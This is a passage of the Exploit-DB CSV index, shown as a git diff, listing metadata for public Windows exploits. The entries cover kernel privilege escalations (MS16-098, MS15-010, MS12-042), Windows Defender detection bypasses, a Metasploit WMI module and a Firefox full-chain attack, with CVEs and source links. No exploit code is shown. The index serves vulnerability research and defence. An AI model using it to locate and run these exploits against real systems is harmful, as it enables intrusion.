2147,exploits/windows/dos/2147.pl,"XChat 2.6.7 (Windows) - Remote Denial of Service",2006-08-08,Elo,dos,windows,,2006-08-07,2011-04-27,1,OSVDB-29165;CVE-2006-4455,,,,http://www.exploit-db.comxchat-2.6.7.exe,
@ -46204,6 +46210,8 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
41020,exploits/windows_x86-64/local/41020.c,"Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098)",2017-01-03,Saif,local,windows_x86-64,,2017-01-11,2017-01-17,1,MS16-098,,,,,https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
42435,exploits/windows_x86-64/local/42435.txt,"Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) (2)",2017-08-08,SensePost,local,windows_x86-64,,2017-08-08,2017-08-09,1,MS16-098,Local,,,,https://github.com/sensepost/gdi-palettes-exp
39035,exploits/windows_x86-64/local/39035.txt,"Microsoft Windows 8.1 - 'win32k' Local Privilege Escalation (MS15-010)",2015-12-18,"Jean-Jamil Khalife",local,windows_x86-64,,2015-12-18,2016-02-03,1,CVE-2015-0057;OSVDB-118177;MS15-010,,,,,
51802,exploits/windows_x86-64/local/51802.txt,"Microsoft Windows Defender - VBScript Detection Bypass",2024-02-19,hyp3rlinx,local,windows_x86-64,,2024-02-19,2024-02-19,0,,,,,,
51801,exploits/windows_x86-64/local/51801.txt,"Microsoft Windows Defender Bypass - Detection Mitigation Bypass",2024-02-19,hyp3rlinx,local,windows_x86-64,,2024-02-19,2024-02-19,0,,,,,,
20861,exploits/windows_x86-64/local/20861.txt,"Microsoft Windows Kernel - Intel x64 SYSRET (MS12-042)",2012-08-27,"Shahriyar Jalayeri",local,windows_x86-64,,2012-08-27,2017-07-14,1,CVE-2012-0217;OSVDB-82850;MS12-042,,,http://www.exploit-db.com/screenshots/idlt21000/screen-shot-2012-08-27-at-100534-am.png,,http://packetstormsecurity.org/files/115908/sysret.rar
44586,exploits/windows_x86-64/local/44586.rb,"Microsoft Windows WMI - Recieve Notification Exploit (Metasploit)",2018-05-04,Metasploit,local,windows_x86-64,,2018-05-04,2018-05-18,1,CVE-2016-0040,"Metasploit Framework (MSF)",,,,https://raw.githubusercontent.com/rapid7/metasploit-framework/ce5be387c43dde62c30e76229bac45a0ada01a1c/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb
47752,exploits/windows_x86-64/local/47752.js,"Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack",2019-12-07,"Axel Souchet",local,windows_x86-64,,2019-12-09,2019-12-09,0,CVE-2019-9810;CVE-2019-11708,,,,,https://github.com/0vercl0k/CVE-2019-11708/tree/1cdf26140f17de8a620e90f4f6ea3865e18e49ad

Can't render this file because it is too large.